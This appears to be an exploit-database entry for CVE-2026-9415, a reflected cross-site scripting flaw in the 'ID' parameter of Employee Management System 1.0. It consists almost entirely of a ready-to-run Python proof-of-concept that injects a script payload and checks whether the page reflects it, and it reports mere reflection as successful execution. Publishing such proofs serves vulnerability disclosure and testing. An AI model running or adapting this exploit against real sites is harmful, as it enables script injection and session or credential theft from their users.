CVE-2026-9415: Employee Management System 1.0 XSS漏洞

import requests # Exploit Title: Employee Management System 1.0 Reflected XSS via ID parameter # Date: 2026-05-25 # Exploit Author: Analyst # Vendor Homepage: https://code-projects.org/ # Software Link: https://code-projects.org/employee-management-system-in-php/ # Version: 1.0 # CVE: CVE-2026-9415 target_url = "http://localhost/eloginwel.php" xss_payload = "<script>alert('CVE-2026-9415');</script>" # Inject payload into the vulnerable 'ID' parameter params = { "ID": xss_payload } try: # Send GET request to the target response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unfiltered in the response if xss_payload in response.text: print("[+] Vulnerability confirmed: XSS payload executed successfully.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Vulnerability not confirmed or payload was filtered.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")